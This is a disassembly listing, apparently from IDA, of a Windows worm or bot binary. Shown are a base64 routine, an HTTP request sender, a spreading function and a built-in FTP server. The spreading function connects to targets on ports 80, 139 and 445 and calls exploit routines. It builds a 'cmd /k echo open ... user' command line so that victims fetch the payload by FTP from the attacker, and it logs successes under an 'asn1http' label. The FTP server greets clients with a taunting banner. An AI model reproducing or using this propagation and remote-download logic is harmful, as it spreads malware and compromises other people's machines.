		jbe	short loc_4029DD
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4029DD:				; CODE XREF: sub_402930+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_402A4B
		add	[ebp-18h], eax


loc_402A2F:				; CODE XREF: sub_402930+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_41EF80[eax]
		push	eax
		push	1
		call	sub_402DA4
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_402A2F


loc_402A4B:				; CODE XREF: sub_402930+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_402A69
		push	dword ptr [ebp+14h]
		call	sub_410B60
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_402DFD
		mov	[ebp-18h], edi


loc_402A69:				; CODE XREF: sub_402930+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_402A83
		sub	esi, [ebp-1Ch]


loc_402A74:				; CODE XREF: sub_402930+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_402DA4
		dec	esi
		jnz	short loc_402A74


loc_402A83:				; CODE XREF: sub_402930+13Fj
		cmp	[ebp+10h], edi
		ja	loc_402981
		push	1
		pop	ebx


loc_402A8F:				; CODE XREF: sub_402930+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_402FA7
		push	ds:dword_41C228
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402E54
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_402FA7
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402930	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AD2	proc near		; CODE XREF: sub_402B8D+14Ap
		mov	eax, offset loc_41B174
		call	sub_4112A0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_42F3E8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_402930
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_410C0F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_402B1C
		xor	bl, bl
		jmp	short loc_402B60
; ---------------------------------------------------------------------------


loc_402B1C:				; CODE XREF: sub_402AD2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41C238
		cmp	ecx, ebx
		jnz	short loc_402B2A
		mov	ecx, eax


loc_402B2A:				; CODE XREF: sub_402AD2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_402B32
		mov	eax, [ebp+18h]


loc_402B32:				; CODE XREF: sub_402AD2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_410A8A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_4307E0	; send
		cmp	eax, esi
		jz	short loc_402B57
		xor	bl, bl
		jmp	short loc_402B59
; ---------------------------------------------------------------------------


loc_402B57:				; CODE XREF: sub_402AD2+7Fj
		mov	bl, 1


loc_402B59:				; CODE XREF: sub_402AD2+83j
		push	edi
		call	sub_410C83
		pop	ecx


loc_402B60:				; CODE XREF: sub_402AD2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_402FA7
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_402FA7
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_402AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B8D	proc near		; CODE XREF: sub_40550F+1E6p
					; DATA XREF: seg002:off_41FFECo

var_624		= byte ptr -624h
var_424		= byte ptr -424h
var_423		= byte ptr -423h
var_395		= byte ptr -395h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	[ebp+var_424], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_423]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_424]
		push	offset sub_41F12C
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		mov	eax, offset byte_423068
		push	eax
		push	eax
		push	ds:dword_42F3F0
		push	[ebp+arg_0]
		call	sub_407435
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp+var_395]
		push	400h
		push	eax
		call	sub_410A8A
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		push	164h
		lea	eax, [ebp+var_24]
		push	offset sub_41EFC4
		push	eax
		call	sub_40238E
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp+var_8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_402C33
		xor	eax, eax
		jmp	loc_402D97
; ---------------------------------------------------------------------------


loc_402C33:				; CODE XREF: sub_402B8D+9Dj
		mov	[ebp+var_C], esi


loc_402C36:				; CODE XREF: sub_402B8D+1A9j
		test	esi, esi
		jnz	loc_402D3C
		push	6
		push	1
		push	2
		call	ds:dword_41C1C0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402D24
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	ds:dword_430794	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_4307D0	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_430740	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402D19
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_402CE1
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_402FA7
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_402FE3
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402AD2
		add	esp, 1Ch
		jmp	short loc_402D16
; ---------------------------------------------------------------------------


loc_402CE1:				; CODE XREF: sub_402B8D+112j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_402CFB
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_402892
		jmp	short loc_402D13
; ---------------------------------------------------------------------------


loc_402CFB:				; CODE XREF: sub_402B8D+15Ej
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_402D19
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4027B8


loc_402D13:				; CODE XREF: sub_402B8D+16Cj
		add	esp, 0Ch


loc_402D16:				; CODE XREF: sub_402B8D+152j
		movzx	esi, al


loc_402D19:				; CODE XREF: sub_402B8D+105j
					; sub_402B8D+178j
		push	ebx
		call	ds:dword_430828	; closesocket
		test	esi, esi
		jnz	short loc_402D2F


loc_402D24:				; CODE XREF: sub_402B8D+C2j
		push	3E8h
		call	ds:dword_41C058	; Sleep


loc_402D2F:				; CODE XREF: sub_402B8D+195j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_402C36


loc_402D3C:				; CODE XREF: sub_402B8D+ABj
		lea	ecx, [ebp+var_8]
		call	sub_4021B3
		test	esi, esi
		jz	short loc_402D95
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset dword_41F1F0
		lea	eax, [ebp+var_624]
		push	200h
		push	eax
		call	sub_410A8A
		lea	eax, [ebp+var_624]
		push	eax
		call	sub_407E0E
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_41FFF0[eax]
		lea	eax, dword_41FFF0[eax]


loc_402D95:				; CODE XREF: sub_402B8D+1B9j
		mov	eax, esi


loc_402D97:				; CODE XREF: sub_402B8D+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402B8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B138


loc_402D9C:				; CODE XREF: sub_41B138+3j
					; seg000:0041B151j ...
		push	1
		call	sub_402FA7
		retn
; END OF FUNCTION CHUNK	FOR sub_41B138

; =============== S U B	R O U T	I N E =======================================



sub_402DA4	proc near		; CODE XREF: sub_402930+110p
					; sub_402930+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_41C228
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_402DBE
		call	sub_41ACA0


loc_402DBE:				; CODE XREF: sub_402DA4+13j
		test	ebx, ebx
		jbe	short loc_402DF5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_402F22
		test	al, al
		jz	short loc_402DF5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_410590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_402DF5:				; CODE XREF: sub_402DA4+1Cj
					; sub_402DA4+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402DA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DFD	proc near		; CODE XREF: sub_402930+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_41C228
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_402E17
		call	sub_41ACA0


loc_402E17:				; CODE XREF: sub_402DFD+13j
		test	ebx, ebx
		jbe	short loc_402E4C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_402F22
		test	al, al
		jz	short loc_402E4C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4105F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_402E4C:				; CODE XREF: sub_402DFD+1Cj
					; sub_402DFD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E54	proc near		; CODE XREF: sub_402930+17Cp
					; sub_41ACFA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_402E6C
		call	sub_41AECC


loc_402E6C:				; CODE XREF: sub_402E54+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_402E7E
		mov	esi, [ebp+arg_8]


loc_402E7E:				; CODE XREF: sub_402E54+25j
		cmp	edi, ebx
		jnz	short loc_402EA0
		push	ds:dword_41C228
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_403018
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_403018
		jmp	short loc_402F19
; ---------------------------------------------------------------------------


loc_402EA0:				; CODE XREF: sub_402E54+2Cj
		test	esi, esi
		jbe	short loc_402EE3
		cmp	esi, eax
		jnz	short loc_402EE3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402EB4
		mov	eax, offset dword_41C238


loc_402EB4:				; CODE XREF: sub_402E54+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_402EE3
		push	1
		mov	ecx, edi
		call	sub_402FA7
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402ECF
		mov	eax, offset dword_41C238


loc_402ECF:				; CODE XREF: sub_402E54+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_402F19
; ---------------------------------------------------------------------------


loc_402EE3:				; CODE XREF: sub_402E54+4Ej
					; sub_402E54+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_402F22
		test	al, al
		jz	short loc_402F19
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_402EFD
		mov	eax, offset dword_41C238


loc_402EFD:				; CODE XREF: sub_402E54+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4105F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_402F19:				; CODE XREF: sub_402E54+4Aj
					; sub_402E54+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_402E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F22	proc near		; CODE XREF: sub_402930+3Dp
					; sub_402DA4+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_402F34
		call	sub_41ACA0


loc_402F34:				; CODE XREF: sub_402F22+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_402F5D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_402F5D
		cmp	al, 0FFh
		jz	short loc_402F5D
		cmp	edi, edx
		jnz	short loc_402F98
		dec	al
		push	edx
		mov	[ecx-1], al


loc_402F52:				; CODE XREF: sub_402F22+47j
		mov	ecx, esi
		call	sub_402FA7


loc_402F59:				; CODE XREF: sub_402F22+4Bj
					; sub_402F22+52j
		xor	al, al
		jmp	short loc_402FA2
; ---------------------------------------------------------------------------


loc_402F5D:				; CODE XREF: sub_402F22+19j
					; sub_402F22+20j ...
		cmp	edi, edx
		jnz	short loc_402F76
		cmp	[esp+8+arg_4], dl
		jz	short loc_402F6B
		push	1
		jmp	short loc_402F52
; ---------------------------------------------------------------------------


loc_402F6B:				; CODE XREF: sub_402F22+43j
		cmp	ecx, edx
		jz	short loc_402F59
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_402F59
; ---------------------------------------------------------------------------


loc_402F76:				; CODE XREF: sub_402F22+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_402F93
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_402F88
		cmp	eax, edi
		jnb	short loc_402FA0


loc_402F88:				; CODE XREF: sub_402F22+60j
		push	1
		mov	ecx, esi
		call	sub_402FA7
		jmp	short loc_402F98
; ---------------------------------------------------------------------------


loc_402F93:				; CODE XREF: sub_402F22+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_402FA0


loc_402F98:				; CODE XREF: sub_402F22+28j
					; sub_402F22+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40307F


loc_402FA0:				; CODE XREF: sub_402F22+64j
					; sub_402F22+74j
		mov	al, 1


loc_402FA2:				; CODE XREF: sub_402F22+39j
		pop	edi
		pop	esi
		retn	8
sub_402F22	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FA7	proc near		; CODE XREF: sub_402930+1Fp
					; sub_402930+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_402FD3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_402FD3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_402FCC
		cmp	al, 0FFh
		jz	short loc_402FCC
		dec	al
		mov	[ecx], al
		jmp	short loc_402FD3
; ---------------------------------------------------------------------------


loc_402FCC:				; CODE XREF: sub_402FA7+19j
					; sub_402FA7+1Dj
		push	ecx
		call	sub_4112BF
		pop	ecx


loc_402FD3:				; CODE XREF: sub_402FA7+8j
					; sub_402FA7+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_402FA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FE3	proc near		; CODE XREF: sub_402B8D+13Ep
					; sub_40313C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_402F22
		test	al, al
		jz	short loc_403011
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4105F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403011:				; CODE XREF: sub_402FE3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_402FE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_403018	proc near		; CODE XREF: sub_402E54+39p
					; sub_402E54+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40302B
		call	sub_41AECC


loc_40302B:				; CODE XREF: sub_403018+Cj
		mov	ecx, edi
		call	sub_40313C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_403041
		mov	ebx, eax


loc_403041:				; CODE XREF: sub_403018+25j
		test	ebx, ebx
		jbe	short loc_403077
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4112D0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_402F22
		test	al, al
		jz	short loc_403077
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_403077:				; CODE XREF: sub_403018+2Bj
					; sub_403018+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403018	endp


; =============== S U B	R O U T	I N E =======================================



sub_40307F	proc near		; CODE XREF: sub_402F22+79p
		mov	eax, offset loc_41B180
		call	sub_4112A0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_4030A5
		mov	edi, [ebp+8]


loc_4030A5:				; CODE XREF: sub_40307F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_4030B2
		xor	eax, eax


loc_4030B2:				; CODE XREF: sub_40307F+2Fj
		push	eax
		call	sub_411605
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4030E3
; ---------------------------------------------------------------------------


loc_4030BE:				; DATA XREF: seg001:0041CEECo
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_4030CD
		xor	eax, eax


loc_4030CD:				; CODE XREF: sub_40307F+4Aj
		push	eax
		call	sub_411605
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_4030DD
		retn
; ---------------------------------------------------------------------------


loc_4030DD:				; DATA XREF: sub_40307F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4030E3:				; CODE XREF: sub_40307F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_403101
		cmp	eax, edi
		jbe	short loc_4030F0
		mov	eax, edi


loc_4030F0:				; CODE XREF: sub_40307F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4105F0
		add	esp, 0Ch


loc_403101:				; CODE XREF: sub_40307F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_402FA7
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_403121
		mov	edi, ebx


loc_403121:				; CODE XREF: sub_40307F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40307F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40313C	proc near		; CODE XREF: sub_403018+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_403169
		mov	al, [esi-1]
		test	al, al
		jz	short loc_403169
		cmp	al, 0FFh
		jz	short loc_403169
		push	1
		call	sub_402FA7
		push	esi
		call	sub_410B60
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_402FE3


loc_403169:				; CODE XREF: sub_40313C+9j
					; sub_40313C+10j ...
		pop	edi
		pop	esi
		retn
sub_40313C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40316C	proc near		; DATA XREF: seg002:0041E004o
		test	ds:byte_45FB30,	1
		jnz	short loc_40317C
		or	ds:byte_45FB30,	1


loc_40317C:				; CODE XREF: sub_40316C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_411680
		pop	ecx
		retn
sub_40316C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40318D	proc near		; DATA XREF: seg000:00405220o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_41C198	; WSAStartup
		push	edi
		call	sub_411914
		push	eax
		call	sub_41055D
		push	0FA00h
		push	471h
		call	sub_40F6B3
		add	esp, 10h
		mov	ds:dword_42F3F0, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_41C1C0	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_41C19C	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_41C1A0	; ioctlsocket
		mov	ax, word ptr ds:dword_42F3F0
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_41C1BC	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_41C1A4	; bind
		test	eax, eax
		jge	short loc_403262
		mov	eax, ebx
		jmp	loc_403789
; ---------------------------------------------------------------------------


loc_403262:				; CODE XREF: sub_40318D+CCj
		push	0Ah
		push	esi
		call	ds:dword_41C1A8	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_41C1CC
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_403280:				; CODE XREF: sub_40318D+12Cj
					; sub_40318D+5F4j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_41C1B0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_403786
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_403280


loc_4032BB:				; CODE XREF: sub_40318D+5EEj
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_410590
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_410590
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_41AFF8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_403774
		cmp	edi, [ebp+var_C]
		jnz	short loc_403372
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41C1AC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_403774
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_40333C
		lea	edx, [ebp+var_224]


loc_40332C:				; CODE XREF: sub_40318D+1ADj
		cmp	[edx], eax
		jz	short loc_40333C
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_40332C


loc_40333C:				; CODE XREF: sub_40318D+197j
					; sub_40318D+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_40335A
		cmp	[ebp+var_228], 40h
		jnb	short loc_40335A
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_40335A:				; CODE XREF: sub_40318D+1B5j
					; sub_40318D+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403362
		mov	[ebp+var_4], eax


loc_403362:				; CODE XREF: sub_40318D+1D0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_403774
; ---------------------------------------------------------------------------


loc_403372:				; CODE XREF: sub_40318D+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_41C1C8	; recv
		test	eax, eax
		jg	short loc_4033D9
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_4033CD
		lea	eax, [ebp+var_224]


loc_403399:				; CODE XREF: sub_40318D+216j
		cmp	[eax], edi
		jz	short loc_4033A7
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
